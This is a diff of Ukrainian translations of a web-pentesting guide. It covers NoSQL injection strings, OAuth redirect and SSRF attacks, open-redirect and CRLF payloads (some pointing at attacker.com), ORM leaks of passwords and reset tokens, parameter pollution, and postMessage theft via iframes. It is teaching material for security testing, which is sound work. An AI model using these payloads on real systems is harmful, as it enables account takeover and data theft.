Зловмисник може скористатися цим, вводячи рядки, такі як `admin' || 'a'=='a`, змушуючи запит повертати всі документи, задовольняючи умову з тавтологією (`'a'=='a'`). Це аналогічно атакам SQL-ін'єкцій, де використовуються такі введення, як `' or 1=1-- -`, для маніпуляції SQL-запитами. У MongoDB подібні ін'єкції можна виконати, використовуючи введення, такі як `' || 1==1//`, `' || 1==1%00` або `admin' || 'a'=='a`. Зловмисник може скористатися цим, вводячи рядки, такі як `admin' || 'a'=='a`, змушуючи запит повертати всі документи, задовольняючи умову з тавтологією (`'a'=='a'`). Це аналогічно атакам SQL-ін'єкцій, де використовуються такі введення, як `' or 1=1-- -`, для маніпуляції SQL-запитами. У MongoDB подібні ін'єкції можна виконати, використовуючи введення, такі як `' || 1==1//`, `' || 1==1%00`, або `admin' || 'a'=='a`.
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a

View File

@ -12,14 +12,14 @@ OAuth пропонує різні версії, з основними відом
Важливо зрозуміти наступні компоненти в рамках OAuth 2.0: Важливо зрозуміти наступні компоненти в рамках OAuth 2.0:
- **власник ресурсу**: Ви, як **користувач/суб'єкт**, авторизуєте доступ до вашого ресурсу, наприклад, до публікацій у вашому обліковому записі соціальних мереж. - **власник ресурсу**: Ви, як **користувач/суб'єкт**, авторизуєте доступ до вашого ресурсу, наприклад, до публікацій у вашому обліковому записі соціальних мереж.
- **сервер ресурсу**: **сервер, що управляє аутентифікованими запитами** після того, як додаток отримав `access token` від імені `власника ресурсу`, наприклад, **https://socialmedia.com**. - **сервер ресурсу**: **сервер, що керує аутентифікованими запитами** після того, як додаток отримав `access token` від імені `власника ресурсу`, наприклад, **https://socialmedia.com**.
- **клієнтський додаток**: **додаток, що запитує авторизацію** у `власника ресурсу`, наприклад, **https://example.com**. - **клієнтський додаток**: **додаток, що запитує авторизацію** у `власника ресурсу`, наприклад, **https://example.com**.
- **сервер авторизації**: **сервер, що видає `access tokens`** клієнтському додатку після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**. - **сервер авторизації**: **сервер, що видає `access tokens`** клієнтському додатку після успішної аутентифікації `власника ресурсу` та отримання авторизації, наприклад, **https://socialmedia.com**.
- **client_id**: Публічний, унікальний ідентифікатор для додатку. - **client_id**: Публічний, унікальний ідентифікатор для додатку.
- **client_secret:** Конфіденційний ключ, відомий лише додатку та серверу авторизації, що використовується для генерації `access_tokens`. - **client_secret:** Конфіденційний ключ, відомий лише додатку та серверу авторизації, що використовується для генерації `access_tokens`.
- **response_type**: Значення, що вказує **тип запитуваного токена**, наприклад, `code`. - **response_type**: Значення, що вказує **тип запитуваного токена**, наприклад, `code`.
- **scope**: **рівень доступу**, який `клієнтський додаток` запитує у `власника ресурсу`. - **scope**: **рівень доступу**, який `клієнтський додаток` запитує у `власника ресурсу`.
- **redirect_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай повинно відповідати попередньо зареєстрованому URL перенаправлення. - **redirect_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай має відповідати попередньо зареєстрованому URL перенаправлення.
- **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання **механізму захисту від CSRF**. - **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання **механізму захисту від CSRF**.
- **grant_type**: Параметр, що вказує **тип надання та тип токена, що повертається**. - **grant_type**: Параметр, що вказує **тип надання та тип токена, що повертається**.
- **code**: Авторизаційний код від `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`. - **code**: Авторизаційний код від `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
@ -31,7 +31,7 @@ OAuth пропонує різні версії, з основними відом
**Фактичний потік OAuth** відбувається наступним чином: **Фактичний потік OAuth** відбувається наступним чином:
1. Ви переходите на [https://example.com](https://example.com) і вибираєте кнопку “Інтегрувати з соціальними мережами”. 1. Ви переходите на [https://example.com](https://example.com) і вибираєте кнопку “Інтегрувати з соціальними мережами”.
2. Сайт надсилає запит на [https://socialmedia.com](https://socialmedia.com), просячи вашу авторизацію для надання доступу додатку https://example.com до ваших публікацій. Запит структурований як: 2. Сайт надсилає запит на [https://socialmedia.com](https://socialmedia.com), просячи вашу авторизацію, щоб додаток https://example.com міг отримати доступ до ваших публікацій. Запит структурований як:
``` ```
https://socialmedia.com/auth https://socialmedia.com/auth
?response_type=code ?response_type=code
@ -59,7 +59,7 @@ Host: socialmedia.com
`redirect_uri` є критично важливим для безпеки в реалізаціях OAuth та OpenID, оскільки він вказує, куди надсилаються чутливі дані, такі як коди авторизації, після авторизації. Якщо він неправильно налаштований, це може дозволити зловмисникам перенаправляти ці запити на шкідливі сервери, що дозволяє захоплення облікових записів. `redirect_uri` є критично важливим для безпеки в реалізаціях OAuth та OpenID, оскільки він вказує, куди надсилаються чутливі дані, такі як коди авторизації, після авторизації. Якщо він неправильно налаштований, це може дозволити зловмисникам перенаправляти ці запити на шкідливі сервери, що дозволяє захоплення облікових записів.
Техніки експлуатації варіюються в залежності від логіки валідації авторизаційного сервера. Вони можуть коливатися від суворого співпадіння шляхів до прийняття будь-якого URL в межах вказаного домену або підкаталогу. Загальні методи експлуатації включають відкриті редиректи, обходження шляхів, експлуатацію слабких регулярних виразів та HTML-ін'єкцію для крадіжки токенів. Техніки експлуатації варіюються в залежності від логіки валідації авторизаційного сервера. Вони можуть коливатися від суворого співпадіння шляхів до прийняття будь-якого URL в межах вказаного домену або підкаталогу. Загальні методи експлуатації включають відкриті редиректи, обходи шляхів, експлуатацію слабких регулярних виразів та HTML-ін'єкції для крадіжки токенів.
Окрім `redirect_uri`, інші параметри OAuth та OpenID, такі як `client_uri`, `policy_uri`, `tos_uri` та `initiate_login_uri`, також підлягають атакам редиректу. Ці параметри є необов'язковими, і їх підтримка варіюється між серверами. Окрім `redirect_uri`, інші параметри OAuth та OpenID, такі як `client_uri`, `policy_uri`, `tos_uri` та `initiate_login_uri`, також підлягають атакам редиректу. Ці параметри є необов'язковими, і їх підтримка варіюється між серверами.
@ -84,7 +84,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
### Перед взломом облікового запису <a href="#ebe4" id="ebe4"></a> ### Перед взломом облікового запису <a href="#ebe4" id="ebe4"></a>
1. **Без перевірки електронної пошти при створенні облікового запису**: Зловмисники можуть заздалегідь створити обліковий запис, використовуючи електронну пошту жертви. Якщо жертва пізніше використовує сторонній сервіс для входу, додаток може ненавмисно зв'язати цей сторонній обліковий запис з попередньо створеним обліковим записом зловмисника, що призведе до несанкціонованого доступу. 1. **Без перевірки електронної пошти при створенні облікового запису**: Зловмисники можуть заздалегідь створити обліковий запис, використовуючи електронну пошту жертви. Якщо жертва пізніше використовує сторонній сервіс для входу, додаток може ненавмисно зв'язати цей сторонній обліковий запис з попередньо створеним обліковим записом зловмисника, що призведе до несанкціонованого доступу.
2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну пошту облікового запису на електронну пошту жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки. 2. **Використання слабкої перевірки електронної пошти в OAuth**: Зловмисники можуть скористатися сервісами OAuth, які не перевіряють електронні адреси, зареєструвавшись у їхньому сервісі, а потім змінивши електронну адресу облікового запису на електронну адресу жертви. Цей метод також несе ризик несанкціонованого доступу до облікового запису, подібно до першого сценарію, але через інший вектор атаки.
### Розкриття секретів <a href="#e177" id="e177"></a> ### Розкриття секретів <a href="#e177" id="e177"></a>
@ -172,7 +172,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Як [**пояснено в цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), можливо вказати параметр **`response_mode`**, щоб вказати, де ви хочете, щоб код був наданий у фінальному URL: Як [**пояснено в цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), можливо вказати параметр **`response_mode`**, щоб вказати, де ви хочете, щоб код був наданий у фінальному URL:
- `response_mode=query` -> Код надається всередині GET параметра: `?code=2397rf3gu93f` - `response_mode=query` -> Код надається всередині GET параметра: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагменту URL параметра `#code=2397rf3gu93f` - `response_mode=fragment` -> Код надається всередині фрагмента URL параметра `#code=2397rf3gu93f`
- `response_mode=form_post` -> Код надається всередині POST форми з полем введення, названим `code`, і значенням - `response_mode=form_post` -> Код надається всередині POST форми з полем введення, названим `code`, і значенням
- `response_mode=web_message` -> Код надсилається в повідомленні: `window.opener.postMessage({"code": "asdasdasd...` - `response_mode=web_message` -> Код надсилається в повідомленні: `window.opener.postMessage({"code": "asdasdasd...`
@ -191,9 +191,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
### Параметри SSRFs <a href="#bda5" id="bda5"></a> ### Параметри SSRFs <a href="#bda5" id="bda5"></a>
[**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **для отримання додаткових деталей цієї техніки.** [**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **для подальших деталей цієї техніки.**
Динамічна реєстрація клієнтів у OAuth є менш очевидним, але критично важливим вектором для вразливостей безпеки, зокрема для атак **Server-Side Request Forgery (SSRF)**. Цей кінцевий пункт дозволяє серверам OAuth отримувати деталі про клієнтські додатки, включаючи чутливі URL, які можуть бути використані в атаках. Динамічна реєстрація клієнтів у OAuth є менш очевидним, але критично важливим вектором для вразливостей безпеки, зокрема для атак **Server-Side Request Forgery (SSRF)**. Цей кінцевий пункт дозволяє серверам OAuth отримувати деталі про клієнтські додатки, включаючи чутливі URL, які можуть бути використані.
**Ключові моменти:** **Ключові моменти:**
@ -201,13 +201,13 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
- Ця функція відповідає специфікаціям, викладеним у **RFC7591** та **OpenID Connect Registration 1.0**, які включають параметри, потенційно вразливі до SSRF. - Ця функція відповідає специфікаціям, викладеним у **RFC7591** та **OpenID Connect Registration 1.0**, які включають параметри, потенційно вразливі до SSRF.
- Процес реєстрації може ненавмисно піддавати сервери SSRF кількома способами: - Процес реєстрації може ненавмисно піддавати сервери SSRF кількома способами:
- **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неправильно. - **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неправильно.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо його зловмисно створити, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником. - **`jwks_uri`**: URL до документа JWK клієнта, який, якщо зловмисно створений, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, які сервер може отримати, створюючи можливість SSRF. - **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, які сервер може отримати, створюючи можливість SSRF.
- **`request_uris`**: Перераховує дозволені запитувані URI для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації. - **`request_uris`**: Перераховує дозволені запитувані URI для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації.
**Стратегія експлуатації:** **Стратегія експлуатації:**
- SSRF може бути ініційовано реєстрацією нового клієнта з зловмисними URL в параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`. - SSRF може бути ініційований реєстрацією нового клієнта з шкідливими URL у параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`.
- Хоча пряма експлуатація через `request_uris` може бути пом'якшена контролем білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час етапу авторизації. - Хоча пряма експлуатація через `request_uris` може бути пом'якшена контролем білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час етапу авторизації.
## Умови гонки постачальників OAuth ## Умови гонки постачальників OAuth

View File

@ -57,7 +57,7 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/ /x:1/:///%01javascript:alert(document.cookie)/
";alert(0);// ";alert(0);//
``` ```
## Open Redirect завантаження svg файлів ## Відкритий редирект завантаження svg файлів
```markup ```markup
<code> <code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml version="1.0" encoding="UTF-8" standalone="yes"?>

View File

@ -41,9 +41,9 @@ return Response(serializer.data)
} }
``` ```
> [!CAUTION] > [!CAUTION]
> Можливо знайти пароль усіх користувачів, які створили статтю > Можливо знайти паролі всіх користувачів, які створили статтю
- **Фільтрація багато-до-багато**: У попередньому прикладі ми не могли знайти паролі користувачів, які не створили статтю. Однак, слідуючи іншим зв'язкам, це можливо. Наприклад: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). - **Фільтрація багато-до-багато**: У попередньому прикладі ми не змогли знайти паролі користувачів, які не створили статтю. Однак, слідуючи іншим зв'язкам, це можливо. Наприклад: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json ```json
{ {
"created_by__departments__employees__user_startswith": "admi" "created_by__departments__employees__user_startswith": "admi"
@ -52,7 +52,7 @@ return Response(serializer.data)
> [!CAUTION] > [!CAUTION]
> У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створили статті, а потім витікати їх паролі (у попередньому json ми просто витікаємо імена користувачів, але потім можливо витікати паролі). > У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створили статті, а потім витікати їх паролі (у попередньому json ми просто витікаємо імена користувачів, але потім можливо витікати паролі).
- **Зловживання багатосторонніми відносинами групи та дозволів Django з користувачами**: Більше того, модель AbstractUser використовується для створення користувачів у Django, і за замовчуванням ця модель має деякі **багатосторонні відносини з таблицями Дозволів та Групи**. Це, по суті, є стандартним способом **доступу до інших користувачів з одного користувача**, якщо вони в **одній групі або мають однаковий дозвіл**. - **Зловживання багатосторонніми відносинами групи та дозволів Django з користувачами**: Більше того, модель AbstractUser використовується для створення користувачів у Django, і за замовчуванням ця модель має деякі **багатосторонні відносини з таблицями Permission та Group**. Це, по суті, стандартний спосіб **доступу до інших користувачів з одного користувача**, якщо вони в **одній групі або мають однаковий дозвіл**.
```bash ```bash
# By users in the same group # By users in the same group
created_by__user__groups__user__password created_by__user__groups__user__password
@ -189,7 +189,7 @@ startsWith: "pas",
> [!CAUTION] > [!CAUTION]
> Використовуючи операції, такі як `startsWith`, можливо витікати інформацію.&#x20; > Використовуючи операції, такі як `startsWith`, можливо витікати інформацію.&#x20;
- **Обхід фільтрації в багатокористувацьких реляційних зв'язках:**&#x20; - **Обхід фільтрації в реляційних зв'язках багато-до-багато:**&#x20;
```javascript ```javascript
app.post("/articles", async (req, res) => { app.post("/articles", async (req, res) => {
try { try {
@ -268,7 +268,7 @@ res.json([])
] ]
} }
``` ```
Де `{CONTAINS_LIST}` є списком з 1000 рядків, щоб забезпечити **затримку відповіді, коли правильний leak знайдено.** Де `{CONTAINS_LIST}` - це список з 1000 рядків, щоб переконатися, що **відповідь затримується, коли правильний leak знайдено.**
## **Ransack (Ruby)** ## **Ransack (Ruby)**
@ -284,7 +284,7 @@ def index
@posts = @q.result(distinct: true) @posts = @q.result(distinct: true)
end end
``` ```
Зверніть увагу, як запит буде визначено параметрами, надісланими зловмисником. Було можливим, наприклад, методом грубої сили отримати токен скидання за допомогою: Зверніть увагу, як запит буде визначено параметрами, надісланими зловмисником. Було можливим, наприклад, брутфорсити токен скидання за допомогою:
```http ```http
GET /posts?q[user_reset_password_token_start]=0 GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1 GET /posts?q[user_reset_password_token_start]=1

View File

@ -30,8 +30,8 @@ URL транзакції банківського додатку:
**Ситуація з маніпуляцією OTP:** **Ситуація з маніпуляцією OTP:**
- **Контекст:** Механізм входу, що вимагає одноразового пароля (OTP), був експлуатований. - **Контекст:** Механізм входу, що вимагає одноразового пароля (OTP), був експлуатований.
- **Метод:** Перехоплюючи запит OTP за допомогою інструментів, таких як Burp Suite, зловмисники дублювали параметр `email` у HTTP запиті. - **Метод:** Перехопивши запит OTP за допомогою інструментів, таких як Burp Suite, зловмисники дублювали параметр `email` у HTTP запиті.
- **Результат:** OTP, призначений для початкової електронної пошти, був надісланий на другу електронну адресу, вказану в маніпульованому запиті. Ця вразливість дозволила несанкціонований доступ, обминаючи заплановану міру безпеки. - **Результат:** OTP, призначений для початкової електронної пошти, був надісланий на другу електронну адресу, вказану в маніпульованому запиті. Ця вразливість дозволила несанкціонований доступ, обійшовши заплановану міру безпеки.
Цей сценарій підкреслює критичну помилку в бекенді додатку, який обробляв перший параметр `email` для генерації OTP, але використовував останній для доставки. Цей сценарій підкреслює критичну помилку в бекенді додатку, який обробляв перший параметр `email` для генерації OTP, але використовував останній для доставки.
@ -42,13 +42,13 @@ URL транзакції банківського додатку:
- **Техніка:** Використовуючи інструмент, такий як Burp Suite, зловмисник формує запит, що містить два параметри `api_key`: один легітимний і один шкідливий. Сервер, обробляючи лише останнє входження, оновлює API ключ на значення, надане зловмисником. - **Техніка:** Використовуючи інструмент, такий як Burp Suite, зловмисник формує запит, що містить два параметри `api_key`: один легітимний і один шкідливий. Сервер, обробляючи лише останнє входження, оновлює API ключ на значення, надане зловмисником.
- **Результат:** Зловмисник отримує контроль над функціональністю API жертви, потенційно отримуючи доступ або модифікуючи приватні дані без дозволу. - **Результат:** Зловмисник отримує контроль над функціональністю API жертви, потенційно отримуючи доступ або модифікуючи приватні дані без дозволу.
Цей приклад ще більше підкреслює необхідність безпечного оброблення параметрів, особливо в таких критичних функціях, як управління API ключами. Цей приклад ще раз підкреслює необхідність безпечного оброблення параметрів, особливо в таких критичних функціях, як управління API ключами.
### Парсинг параметрів: Flask проти PHP ### Парсинг параметрів: Flask проти PHP
Спосіб, яким веб-технології обробляють дубльовані HTTP параметри, варіюється, що впливає на їх вразливість до атак HPP: Спосіб, яким веб-технології обробляють дубльовані HTTP параметри, варіюється, що впливає на їх вразливість до атак HPP:
- **Flask:** Приймає перше значення параметра, наприклад, `a=1` у рядку запиту `a=1&a=2`, надаючи пріоритет початковому екземпляру над наступними дублікатами. - **Flask:** Приймає перше значення параметра, яке зустрічається, наприклад, `a=1` у рядку запиту `a=1&a=2`, надаючи пріоритет початковому екземпляру над наступними дублікатами.
- **PHP (на Apache HTTP Server):** Навпаки, надає пріоритет останньому значенню параметра, вибираючи `a=2` у наведеному прикладі. Ця поведінка може ненавмисно сприяти експлуатації HPP, визнаючи маніпульований параметр зловмисника замість оригінального. - **PHP (на Apache HTTP Server):** Навпаки, надає пріоритет останньому значенню параметра, вибираючи `a=2` у наведеному прикладі. Ця поведінка може ненавмисно сприяти експлуатації HPP, визнаючи маніпульований параметр зловмисника замість оригінального.
## Параметричне забруднення за технологією ## Параметричне забруднення за технологією
@ -78,7 +78,7 @@ URL транзакції банківського додатку:
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping розпізнають name\[]. 2. POST RequestMapping & PostMapping розпізнають name\[].
3. Віддавати перевагу name, якщо існують name та name\[]. 3. Віддавати перевагу name, якщо існують name І name\[].
4. Конкатенувати параметри, наприклад, first,last. 4. Конкатенувати параметри, наприклад, first,last.
5. POST RequestMapping & PostMapping розпізнають параметри запиту з Content-Type. 5. POST RequestMapping & PostMapping розпізнають параметри запиту з Content-Type.
@ -94,28 +94,28 @@ URL транзакції банківського додатку:
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure> <figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. Не розпізнає name\[]. 1. Не розпізнає name\[].
2. Віддавати перевагу першому параметру. 2. Віддає перевагу першому параметру.
### Python 3.12.6 І Werkzeug 3.0.4 І Flask 3.0.3 <a href="#b853" id="b853"></a> ### Python 3.12.6 І Werkzeug 3.0.4 І Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure> <figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. Не розпізнає name\[]. 1. Не розпізнає name\[].
2. Віддавати перевагу першому параметру. 2. Віддає перевагу першому параметру.
### Python 3.12.6 І Django 4.2.15 <a href="#id-8079" id="id-8079"></a> ### Python 3.12.6 І Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure> <figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. Не розпізнає name\[]. 1. Не розпізнає name\[].
2. Віддавати перевагу останньому параметру. 2. Віддає перевагу останньому параметру.
### Python 3.12.6 І Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a> ### Python 3.12.6 І Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure> <figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. Не розпізнає name\[]. 1. Не розпізнає name\[].
2. Віддавати перевагу останньому параметру. 2. Віддає перевагу останньому параметру.
## JSON-ін'єкція ## JSON-ін'єкція

View File

@ -8,7 +8,7 @@
> Ця **чек-лист не пропонує вичерпний список тестів для кожної вразливості**, лише деякі базові. Якщо ви шукаєте більш вичерпні тести, зверніться до кожної запропонованої вразливості. > Ця **чек-лист не пропонує вичерпний список тестів для кожної вразливості**, лише деякі базові. Якщо ви шукаєте більш вичерпні тести, зверніться до кожної запропонованої вразливості.
> [!CAUTION] > [!CAUTION]
> Ви **не знайдете ін'єкцій, залежних від Content-Type, таких як XXE**, оскільки зазвичай ви спробуєте їх самостійно, якщо знайдете запит, що надсилає xml-дані. Ви **також не знайдете ін'єкцій бази даних** тут, оскільки навіть якщо деякий контент може бути відображений, це сильно залежить від технології та структури бекендної бази даних. > Ви **не знайдете ін'єкцій, залежних від Content-Type, таких як XXE**, оскільки зазвичай ви спробуєте їх самостійно, якщо знайдете запит, що надсилає xml-дані. Ви **також не знайдете ін'єкцій бази даних** тут, оскільки навіть якщо деякий контент може бути відображений, це сильно залежить від технології та структури бекендної БД.
## Polygloths list ## Polygloths list
```python ```python
@ -81,7 +81,7 @@ $(ls)
``` ```
## [CRLF](../crlf-0d-0a.md) ## [CRLF](../crlf-0d-0a.md)
### Базові тести ### Основні тести
```bash ```bash
%0d%0aLocation:%20http://attacker.com %0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

View File

@ -34,12 +34,12 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
``` ```
Зверніть увагу, що **targetOrigin** може бути '\*' або URL, наприклад, _https://company.com._\ Зверніть увагу, що **targetOrigin** може бути '\*' або URL, наприклад, _https://company.com._\
У **другому сценарії** **повідомлення можна надсилати лише на цей домен** (навіть якщо походження об'єкта вікна інше).\ У **другому сценарії** **повідомлення можна надсилати лише на цей домен** (навіть якщо походження об'єкта вікна інше).\
Якщо використовується **девіз**, **повідомлення можуть надсилатися на будь-який домен** і будуть надіслані на походження об'єкта Window. Якщо використовується **доменне ім'я**, **повідомлення можуть бути надіслані на будь-який домен** і будуть надіслані на походження об'єкта Window.
### Атака на iframe та девіз у **targetOrigin** ### Атака на iframe та доменне ім'я в **targetOrigin**
Як пояснено в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яка може бути **iframed** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **девіз** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\ Як пояснено в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яка може бути **вставлена в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
Зверніть увагу, що якщо сторінка може бути iframed, але **targetOrigin** **встановлено на URL, а не на девіз**, цей **трюк не спрацює**. Зверніть увагу, що якщо сторінка може бути вставлена в iframe, але **targetOrigin** **встановлено на URL, а не на доменне ім'я**, цей **трюк не спрацює**.
```markup ```markup
<html> <html>
<iframe src="https://docs.google.com/document/ID" /> <iframe src="https://docs.google.com/document/ID" />
@ -57,7 +57,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
## експлуатація addEventListener ## експлуатація addEventListener
**`addEventListener`** - це функція, яка використовується JS для оголошення функції, що **очікує `postMessages`**.\ **`addEventListener`** - це функція, яка використовується JS для оголошення функції, що **очікує `postMessages`**.\
Будуть використані код, подібний до наведеного нижче: Будуть використані коди, подібні до наведеного нижче:
```javascript ```javascript
window.addEventListener( window.addEventListener(
"message", "message",
@ -120,15 +120,15 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\" result.message // "'"<b>\"
``` ```
У контексті цієї вразливості об'єкт `File` є особливо вразливим через його властивість `name`, яка є лише для читання. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією `escapeHtml`, що призводить до потенційних ризиків безпеки. У контексті цієї вразливості об'єкт `File` є особливо вразливим через його тільки для читання властивість `name`. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією `escapeHtml`, що призводить до потенційних ризиків безпеки.
- Властивість `document.domain` в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики однакового походження в межах одного батьківського домену. - Властивість `document.domain` в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики одного походження в межах одного батьківського домену.
### Обхід e.origin == window.origin ### обхід e.origin == window.origin
Коли ви вбудовуєте веб-сторінку в **пісочницю iframe** за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено в null. Це особливо важливо при роботі з **атрибутами пісочниці** та їх наслідками для безпеки та функціональності. Коли ви вбудовуєте веб-сторінку в **пісочницю iframe** за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено в null. Це особливо важливо при роботі з **атрибутами пісочниці** та їх наслідками для безпеки та функціональності.
Вказуючи **`allow-popups`** в атрибуті пісочниці, будь-яке вікно спливаючого вікна, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут **`allow-popups-to-escape-sandbox`** також не включений, походження спливаючого вікна також встановлюється в `null`, що відповідає походженню iframe. Вказуючи **`allow-popups`** в атрибуті пісочниці, будь-яке вікно спливаючого вмісту, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут **`allow-popups-to-escape-sandbox`** також не включений, походження спливаючого вікна також встановлюється в `null`, що відповідає походженню iframe.
